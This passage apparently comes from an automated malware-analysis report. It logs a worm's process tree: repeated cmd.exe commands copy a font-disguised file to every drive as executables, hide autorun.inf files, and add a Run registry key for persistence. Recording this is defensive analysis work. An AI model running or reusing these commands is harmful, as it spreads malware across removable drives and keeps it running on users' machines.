    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\Images.exe /y
    3⤵
    PID:432
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\Images.exe /y
    3⤵
    PID:1400
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\Images.exe /y
    3⤵
    PID:2416
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\Images.exe /y
    3⤵
    PID:860
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\Images.exe /y
    3⤵
    PID:868
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\System.exe /y
    3⤵
    PID:1112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\System.exe /y
    3⤵
    PID:1356
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\System.exe /y
    3⤵
    PID:2192
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\System.exe /y
    3⤵
    PID:4908
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\System.exe /y
    3⤵
    PID:4084
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\System.exe /y
    3⤵
    PID:4076
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\System.exe /y
    3⤵
    PID:1368
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\System.exe /y
    3⤵
    PID:4116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\System.exe /y
    3⤵
    PID:3460
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\System.exe /y
    3⤵
    PID:1608
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\System.exe /y
    3⤵
    PID:1528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\System.exe /y
    3⤵
    PID:1768
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\System.exe /y
    3⤵
    PID:2424
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\System.exe /y
    3⤵
    PID:824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\System.exe /y
    3⤵
    PID:3776
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\System.exe /y
    3⤵
    PID:4824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\System.exe /y
    3⤵
    PID:5100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\System.exe /y
    3⤵
    PID:4056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\System.exe /y
    3⤵
    PID:4984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\System.exe /y
    3⤵
    PID:3400
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\System.exe /y
    3⤵
    PID:4260
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\System.exe /y
    3⤵
    PID:1876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\System.exe /y
    3⤵
    PID:1160
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\System.exe /y
    3⤵
    PID:1324
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\vaillo.exe /y
    3⤵
    PID:4276
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\vaillo.exe /y
    3⤵
    PID:2104
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\vaillo.exe /y
    3⤵
    PID:4636
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\vaillo.exe /y
    3⤵
    PID:4736
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\vaillo.exe /y
    3⤵
    PID:2016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\vaillo.exe /y
    3⤵
    PID:3164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\vaillo.exe /y
    3⤵
    PID:3440
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\vaillo.exe /y
    3⤵
    PID:1800
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\vaillo.exe /y
    3⤵
    PID:3316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\vaillo.exe /y
    3⤵
    PID:1264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\vaillo.exe /y
    3⤵
    PID:1676
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\vaillo.exe /y
    3⤵
    PID:2276
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\vaillo.exe /y
    3⤵
    PID:4200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\vaillo.exe /y
    3⤵
    PID:4576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\vaillo.exe /y
    3⤵
    PID:2952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\vaillo.exe /y
    3⤵
    PID:4248
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\vaillo.exe /y
    3⤵
    PID:4132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\vaillo.exe /y
    3⤵
    PID:3792
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\vaillo.exe /y
    3⤵
    PID:212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\vaillo.exe /y
    3⤵
    PID:4036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\vaillo.exe /y
    3⤵
    PID:204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\vaillo.exe /y
    3⤵
    PID:1484
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\vaillo.exe /y
    3⤵
    PID:4480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\vaillo.exe /y
    3⤵
    PID:2376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\Sounds.exe /y
    3⤵
    PID:2252
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\Sounds.exe /y
    3⤵
    PID:4848
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\Sounds.exe /y
    3⤵
    PID:1596
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\Sounds.exe /y
    3⤵
    PID:3364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\Sounds.exe /y
    3⤵
    PID:3476
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\Sounds.exe /y
    3⤵
    PID:3644
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\Sounds.exe /y
    3⤵
    PID:3876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\Sounds.exe /y
    3⤵
    PID:3724
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\Sounds.exe /y
    3⤵
    PID:1992
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\Sounds.exe /y
    3⤵
    PID:3564
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\Sounds.exe /y
    3⤵
    PID:816
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\Sounds.exe /y
    3⤵
    PID:2200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\Sounds.exe /y
    3⤵
    PID:8
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\Sounds.exe /y
    3⤵
    PID:4564
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\Sounds.exe /y
    3⤵
    PID:3976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\Sounds.exe /y
    3⤵
    PID:4632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\Sounds.exe /y
    3⤵
    PID:1792
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\Sounds.exe /y
    3⤵
    PID:3804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\Sounds.exe /y
    3⤵
    PID:2884
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\Sounds.exe /y
    3⤵
    PID:2184
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\Sounds.exe /y
    3⤵
    PID:3732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\Sounds.exe /y
    3⤵
    PID:4420
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\Sounds.exe /y
    3⤵
    PID:3116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\Sounds.exe /y
    3⤵
    PID:4924
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\Images.exe /y
    3⤵
    PID:3120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\Images.exe /y
    3⤵
    PID:3248
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\Images.exe /y
    3⤵
    PID:836
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\Images.exe /y
    3⤵
    PID:1916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\Images.exe /y
    3⤵
    PID:1444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\Images.exe /y
    3⤵
    PID:3736
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\Images.exe /y
    3⤵
    PID:3108
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\Images.exe /y
    3⤵
    PID:3816
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\Images.exe /y
    3⤵
    PID:4692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\Images.exe /y
    3⤵
    PID:2928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\Images.exe /y
    3⤵
    PID:3272
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\Images.exe /y
    3⤵
    PID:4284
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\Images.exe /y
    3⤵
    PID:1856
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\Images.exe /y
    3⤵
    PID:4328
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\Images.exe /y
    3⤵
    PID:4256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\Images.exe /y
    3⤵
    PID:2668
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\Images.exe /y
    3⤵
    PID:4316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\Images.exe /y
    3⤵
    PID:2164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\Images.exe /y
    3⤵
    PID:620
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\Images.exe /y
    3⤵
    PID:3180
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\Images.exe /y
    3⤵
    PID:4112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\Images.exe /y
    3⤵
    PID:1988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\Images.exe /y
    3⤵
    PID:4532
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\Images.exe /y
    3⤵
    PID:2732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul attrib +r +h +s c:\autorun.inf
    3⤵
    PID:4600
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +h +s c:\autorun.inf
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:4428
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul attrib +r +h +s d:\autorun.inf
    3⤵
    PID:2580
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul attrib +r +h +s e:\autorun.inf
    3⤵
    PID:1640
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul attrib +r +h +s f:\autorun.inf
    3⤵
    PID:1628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul attrib +r +h +s g:\autorun.inf
    3⤵
    PID:2804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul attrib +r +h +s h:\autorun.inf
    3⤵
    PID:2684
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul attrib +r +h +s i:\autorun.inf
    3⤵
    PID:3512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul attrib +r +h +s j:\autorun.inf
    3⤵
    PID:1136
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul attrib +r +h +s k:\autorun.inf
    3⤵
    PID:2740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul attrib +r +h +s l:\autorun.inf
    3⤵
    PID:996
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul attrib +r +h +s m:\autorun.inf
    3⤵
    PID:632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul attrib +r +h +s n:\autorun.inf
    3⤵
    PID:444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul attrib +r +h +s o:\autorun.inf
    3⤵
    PID:3256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul attrib +r +h +s p:\autorun.inf
    3⤵
    PID:456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul attrib +r +h +s q:\autorun.inf
    3⤵
    PID:1948
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul attrib +r +h +s r:\autorun.inf
    3⤵
    PID:2768
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul attrib +r +h +s s:\autorun.inf
    3⤵
    PID:3908
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul attrib +r +h +s t:\autorun.inf
    3⤵
    PID:1472
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul attrib +r +h +s u:\autorun.inf
    3⤵
    PID:4708
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul attrib +r +h +s v:\autorun.inf
    3⤵
    PID:432
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul attrib +r +h +s w:\autorun.inf
    3⤵
    PID:3728
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul attrib +r +h +s x:\autorun.inf
    3⤵
    PID:908
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul attrib +r +h +s y:\autorun.inf
    3⤵
    PID:3680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul attrib +r +h +s z:\autorun.inf
    3⤵
    PID:2688
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v mt /t REG_SZ /d C:\Windows\system32\vaillo.exe /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul md c:\Sounds
    3⤵
    PID:3420
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul md d:\Sounds
    3⤵
    PID:3956
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul md e:\Sounds
    3⤵
    PID:3920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul md f:\Sounds
    3⤵
    PID:2468
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul md g:\Sounds
    3⤵
    PID:1368
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul md h:\Sounds
    3⤵
    PID:4116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul md i:\Sounds
    3⤵
    PID:3460
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul md j:\Sounds
    3⤵
    PID:1608
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul md k:\Sounds
    3⤵
    PID:1528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul md l:\Sounds
    3⤵
    PID:1768
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul md m:\Sounds
    3⤵
    PID:2424
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul md n:\Sounds
    3⤵
    PID:824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul md o:\Sounds
    3⤵
    PID:3776
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul md p:\Sounds
    3⤵
    PID:4824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul md q:\Sounds
    3⤵
    PID:5100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul md r:\Sounds
    3⤵
    PID:4056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul md s:\Sounds
    3⤵
    PID:4984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul md t:\Sounds
    3⤵
    PID:3400
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul md u:\Sounds
    3⤵
    PID:4260
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul md v:\Sounds
    3⤵
    PID:1876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul md w:\Sounds
    3⤵
    PID:1160
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul md x:\Sounds
    3⤵
    PID:1324
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul md y:\Sounds
    3⤵
    PID:4276
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul md z:\Sounds
    3⤵
    PID:2104
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul md c:\Video
    3⤵
    PID:4636
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul md d:\Video
    3⤵
    PID:4736
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul md e:\Video
    3⤵
    PID:2016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul md f:\Video
    3⤵
    PID:3164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul md g:\Video
    3⤵
    PID:3440
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul md h:\Video
    3⤵
    PID:1800
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul md i:\Video
    3⤵
    PID:3316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul md j:\Video
    3⤵
    PID:1264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul md k:\Video
    3⤵
    PID:1676
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul md l:\Video
    3⤵
    PID:2276
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul md m:\Video
    3⤵
    PID:4200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul md n:\Video
    3⤵
    PID:4576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul md o:\Video
    3⤵
    PID:2952
